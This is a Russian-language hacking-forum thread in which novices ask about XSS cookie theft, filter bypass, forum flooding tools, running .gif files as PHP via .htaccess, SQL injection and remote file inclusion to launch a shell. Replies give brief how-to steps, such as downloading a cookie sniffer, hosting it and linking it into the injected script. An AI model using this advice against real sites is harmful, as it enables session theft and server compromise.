нужна помощь в xss, пытаюсь изучать, но много непонятных мелочей. предположим нужная мне xss насколько я смог понять куки записываются в картику hacknet.gif, т.е у меня должен быть свой сайт с картинкой, которую разрешено изменять на этом сайте без авторизации?или неправильно понял? Думаю идея вопроса более-менее понятна. Разъясните мне пожалуйста эти детали
собственно сам вопрос ок, где взять этот снифер, как и где его разестить? --------------------------------------------------------------------- разьясните пожалуйста детали про получение куков
_http://forum.antichat.ru/thread18555.html поиском пользоваться не барское дело? Вот собственно помощ по гринбировскому сниферу _http://forum.antichat.ru/thread36829.html все понятно написано
Ужс как всё сложно =\ сливаешь http://old.antichat.ru/soft/s.zip, распаковываешь, заливаешь на сервер с поддержкой php, правишь конфиг (если таковой имеется) и всё. вставляешь в скрипт ссылку на сниффер
сорри елли не туда возник вот такой вопрос есть ли вожможность обхода фильтрации ковычки через функцию quote() ?
Есть ли другие флуд-проги на форумах (IPB) помимо Antiturk(Denyo Lauch)? (при отсутствии ограничений содавать много тем либо сообщений)
Если создать файл .htaccess и вписать в него следующую строчку: AddTypeapplication/x-httpd-php gif - то все файлы с gif будут интрепетироваться как php файлы. Я так и сделал. Создать .htaccess. Вписал в него строку и решил проверить для начала на своем сайте. Закинул, полез, но система выдала предупреждение, что 500 ошибка. Вообщем, файл был недоступен. Почему? И как это можно исправить?
у тя доступ к базе есть или через скуль ? если есть доступ к базе тогда почти через любой mysql клиент ежели через скуль Тогда попробуй через "SQL Injection Tool" 2Ershik а в одном посте не судьба написать ? такую строчку к своему добавь removehandler.gif отменяет настройки по умолчанию для файлов.gif
у меня вопрос по php include, запрос вида .php?page=http://site.ru/xz.txt? выводит текст файла,почему не запускается shell?
1. Потому что это не инклуд а читалка файлов 2. Мда. Ты админ хакерского форума? 3. При инклуде любое расширение будет выполняться (пытаться выполниться) как php код. Это не инклуд
